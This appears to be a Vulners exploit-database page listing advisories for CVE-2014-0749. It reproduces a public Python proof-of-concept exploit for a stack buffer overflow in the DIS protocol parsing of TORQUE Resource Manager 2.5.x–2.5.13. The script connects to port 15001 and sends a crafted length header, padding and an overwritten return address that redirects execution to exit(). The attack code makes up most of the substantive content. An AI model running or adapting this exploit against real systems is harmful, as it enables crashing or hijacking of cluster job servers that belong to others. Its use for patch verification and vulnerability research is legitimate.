| Reporter | Title | Published | Views | Family All 23 |
|---|---|---|---|---|
| TORQUE Resource Manager 2.5.x-2.5.13 - Stack Based Buffer Overflow Stub | 1 Jun 201400:00 | – | zdt | |
| CVE-2014-0749 | 16 May 201414:00 | – | cve | |
| CVE-2014-0749 | 16 May 201414:00 | – | cvelist | |
| [SECURITY] [DSA 2936-1] torque security update | 23 May 201409:19 | – | debian | |
| [SECURITY] [DSA 2936-1] torque security update | 23 May 201409:19 | – | debian | |
| Debian DSA-2936-1 : torque - security update | 25 May 201400:00 | – | nessus | |
| GLSA-201412-47 : TORQUE Resource Manager: Multiple vulnerabilities | 29 Dec 201400:00 | – | nessus | |
| TORQUE Resource Manager 2.5.x 2.5.13 - Stack Buffer Overflow Stub | 28 May 201400:00 | – | exploitpack | |
| TORQUE Resource Manager: Multiple vulnerabilities | 26 Dec 201400:00 | – | gentoo | |
| CVE-2014-0749 | 16 May 201414:55 | – | nvd |
#!/usr/bin/env python
# Exploit Title: TORQUE Resource Manager 2.5.x-2.5.13 stack based buffer overflow stub
# Date: 27 May 2014
# Exploit Author: bwall - @botnet_hunter
# Vulnerability discovered by: MWR Labs
# CVE: CVE-2014-0749
# Vendor Homepage: http://www.adaptivecomputing.com/
# Software Link: http://www.adaptivecomputing.com/support/download-center/torque-download/
# Version: 2.5.13
# Tested on: Manjaro x64
# Description:
# A buffer overflow while parsing the DIS network communication protocol. It is triggered when requesting that
# a larger amount of data than the small buffer be read. The first digit supplied is the number of digits in the
# data, the next digits are the actual size of the buffer.
#
# This is an exploit stub, meant to be a quick proof of concept. This was built and tested for a 64 bit system
# with ASLR disabled. Since Adaptive Computing does not supply binary distributions, TORQUE will likely be
# compiled on the target system. The result of this exploit is intended to just point RIP at 'exit()'
import socket
ip = "172.16.246.177"
port = 15001
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
offset = 143
header = str(len(str(offset))) + str(offset) + '1'
packet = header
packet += "\x00" * (140 - len(packet))
packet += ('\xc0\x18\x76\xf7\xff\x7f\x00\x00') # exit() may require a different offset in your build
s.sendall(packet)
data = s.recv(1024)
s.close()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation